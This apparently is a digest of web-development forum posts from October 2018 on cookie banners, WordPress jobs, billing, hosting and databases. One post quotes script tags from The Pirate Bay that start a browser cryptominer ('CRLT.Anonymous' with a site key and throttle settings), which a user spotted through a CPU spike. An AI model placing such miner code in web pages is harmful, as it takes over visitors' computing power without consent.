    EU/UK cookie accept prompts are super obnoxious

    Posted: 12 Oct 2018 05:52 AM PDT

    I am visiting the UK from the US right now and oh my god these accept cookies dialogs on every single website are super obnoxious. It just seems like such a waste for literally no gain. New business to consolidate then all and just have people accept all cookies once? Thoughts?

    Miner in PirateBay

    Miner in PirateBay

    Just saw my performance spike even if I didn't have any actual work done on my machine.

    ​

    A little bit of investigation and I noticed I had a tab of piratebay open.

    script type="text/javascript" src="/f@uckadblock.js"></script><script>!function(){for(var o,e=function(){},n=["assert","clear","count","debug","dir","dirxml","error","exception","group","groupCollapsed","groupEnd","info","log","markTimeline","profile","profileEnd","table","time","timeEnd","timeStamp","trace","warn"],r=n.length,i=window.console=window.console||{};r--;)o=n[r],i[o]||(i[o]=e)}();</script><script src="/storage/c.js?_=dccb6c592b287bd09c8d63053dc8a75b"></script><script> var miner=new CRLT.Anonymous('cb8605f33e66d9d52524cef8735d485091065495494d', { autoThreads:true,throttle:0.5 });

    An interesting way of handeling users with adblock.

    Is learning wordpress as a developer really as painful as it sounds? is it even worth it?

    Posted: 12 Oct 2018 11:49 AM PDT

    I just did an interview for a "Full Stack Developer" position, and it was stated that "we use Wordpress a lot here, you said you have done some experience with php right?".... Hearing about them using WP, I asked the following:

    You mentioned WordPress a lot, is that your main focus for your development for clients?

    ...y-yeah, so really that's what we do, is wordpress. Every now and them we will do something from scratch, and we want to push in that direction to be innovative, but our clients are running wordpress sites.

    Is there a reason behind using a CMS? I know some times clients need to update information regularly, and having a dev do that is cumbersome for just text changes

    Yeah, not really. Its just that the clients want wordpress, and not because they want to edit it, but because that's what they've heard of. Or they have existing wordpress sites that we take over. and they come to us saying they want to us WP, so that's more why we use it.

    So, they know that I am not a wordpress developer, but I've used PHP. I had no idea the position was "Wordpress Developer" since it said "Full Stack Developer". I usually see companies specifically say "we need a wordpress dev" because its a niche field.

    I'm new to the industry, just graduated this year, but have a foudnational skill set. I have capabilities to make full stack apps with the following tech

    (HTML/CSS/JS) - (React) - (Redux) - (Node/PHP) - (sql/nosql) - (MySQL/MongoDB) - (Grunt/Gulp/webpack) - (Git)

    So when I heard "wordpress" I feel like it would be throwing everything out and starting from scratch. The whole idea of "just find the plugin to do it" and figuring out how to do something simple, but doing it so it works with wordpress cms sounds very difficult....

    Is learning wordpress worth it? or is it incredibly hard that if you learn it, then you are probably doing it as a specialization. Why would a company look at hiring me as a wordpress developer if I've never really done wordpress before?

    Do you use Google tag manager to manager external libraries?

    Posted: 12 Oct 2018 02:34 PM PDT

    I can understand if you work for multiple clients it makes easy to add libraries (JS, style etc..)

    but what if you have few personal projects?

    China bans Google services, renders captcha un-usable, is it the case of tag manager as well?

    if you have other opinion or use-case, please share

    Should I Really Be a Dev?

    Posted: 12 Oct 2018 11:27 AM PDT

    Hello devs!

    I am about 9 months into the dev world, currently in the interview process for a great company, and I am having significant doubts about being a dev.

    Here's why:

    • I do not have an aptitude for learning coding concepts (I excel in many other fields, and I am okay with not being the best, but coding concepts are a marked struggle for me)
    • I do not particularly enjoy the problem-solving that development requires
    • I have found sitting at a desk most of the day (or standing) to be terrible both mentally and physically
    • I had a great, lifelong passion for my last career, and I miss it terribly. (I left because I couldn't find a job that paid well enough AND did not require extensive weekend/weeknight hours.)
    • Coding school was a very trying challenge for me, both emotionally and academically (it kicked off my depression and anxiety to new highs and lows, and this continues over 3 months post-graduation)
    • I'm currently interviewing for a great company, and the coding challenge is not interesting or inspiring to me at all
    • I'm not sure I could endure these factors long-term
    • In my free time, I find myself brainstorming side projects that have to do with my old career. (I have even thought of a couple that could provide the hours and income that I want.)

    Should I give it more time? Or am I better off investing myself in creative ways to get the income and schedule I want in my old career?

    ​

    TL/DR: I quit a career path I have great passion for in hopes that I would find a sustainable career in development. I've learned I don't enjoy coding and am not good at it. Am I better off investing myself in creative ways to get the income and schedule I want in my old career or keeping at coding?

    [Resume critique] I was getting callbacks, but for the past 3 months I haven't had a lot of luck.

    Posted: 12 Oct 2018 02:02 PM PDT

    Here's the resume: https://i.imgur.com/HEuPNT4.png

    I've been job hunting for junior-level positions and internships for the past six months or so. For the first three months I was getting ghosted and getting rejections, which is pretty typical, but I was getting a fair number of callbacks.

    For the past three months, however, I haven't made a lot of changes to my resume and haven't updated my portfolio that much but I feel that the number of callbacks I'm getting has greatly slowed down. As in, barely any.

    Do you think it's something with my resume, or is it just rotten luck? Thanks for looking.

    PS - The links to the projects properly connect to my Github repos on the actual resume. For privacy purposes I decided to leave them out. The links on the top right also work in the original.

    Developing non-JS component-based websites?

    Posted: 12 Oct 2018 02:28 PM PDT

    Hi all,

    I've been developing with Vue.js SFCs for some time now, and was wondering if there was something similar I could use for non-JS websites (eg. a basic landing page, a static article, etc). I expect behaviour similar to Vue.js SFCs in that I can set scoped styles for a component within it's respective file, and I can use it in other templates with the <examplecomponent>Slot</examplecomponent> syntax.

    Does anything like this exist? Thanks.

    How do you bill your clients for minor changes?

    Posted: 12 Oct 2018 08:05 AM PDT

    A problem I've been running into for years are the minor updates clients are constantly asking for: update a link, change some text, upgrade a plugin, etc.

    In the past I'd just make the tweaks and not charge the client unless they started asking for too much. Lately, however, these minor updates have begun eating up my time.

    Charging them for 5 minutes of work is a pain in itself, while charging them for a full hour to do something minor seems unreasonable. I also doubt my clients would pay for a monthly website management package - many of them are individuals or very small businesses.

    How do you all handle this situation?

    Is there anywhere I can host an existing domain for free?

    Posted: 12 Oct 2018 03:27 PM PDT

    I have a .com domain that I would like to host somewhere and I'm looking at my options. I thought about DigitalOcean (not free but a very generous referral program) but I don't know if I'm able to set up the entire server by myself. DigitalOcean just offers space for hosting but doesn't provide anything else.

    How To Build A Money Data Type In JavaScript And Avoid The Floating Point Trap

    How should I store images for my web apps?

    Posted: 12 Oct 2018 04:27 PM PDT

    I'm pretty new at this but I've built a few web apps that we use in production at work with Laravel. They are all hosted on the same server, and all of the images stored or PDFs generated by the apps are stored within the apps web directory.

    I'm looking to build a server that I can post images to and retrieve a public URL back. Hopefully a web GUI for file management. I think this will give me better control and redundancy. Also it will also me to add a second production server with load balancing without having to worry about replicating files.

    Or should I keep the files within the web app directory on each server? Is my best bet to just roll my own app in Laravel or is there a well known open source option already?

    Thank you

    Node or .net in Dublin?

    I have a good idea for a website but I don’t know how to code. What should I do?

    Posted: 12 Oct 2018 02:45 PM PDT

    So I have (what I think is) a great idea for a website but I don't know much about coding.

    I've read a few other posts about finding web developers to work with, but overall I'm not 100% sure where to start and/or if my idea will be feasible (although it should be). I've been reading up on python and it seems like a good language for the website to be coded in, I won't be doing the coding so I'm not sure if this will matter.

    I do have a pretty good idea of what I want it to look like and a pretty good idea of everything I want click by click.

    Also cost wise I have no real idea what I'm looking at but I'm assuming anywhere from $1000-$10000 depending on the person.

    Can I get some insight on where to start?

    MySql to Postgres transition

    Posted: 12 Oct 2018 02:11 PM PDT

    Hiya, I'm needing to create a web site that will pull information from a database containing research papers for my uni. I've only had experience with mysql, mongodb and Oracle sql. In my head the data will be quite relational therefore a nosql implementation won't be useful. I was thinking it may be a good idea to use Postgres since it would be an opportunity to learn something new. Is the transition from myself to Postgres easy in a web setting? Can I eventually run select queries containing an Id parameter of the research paper (for example)? Also if i pull json objects from an api, postgres would be better than mysql for this?
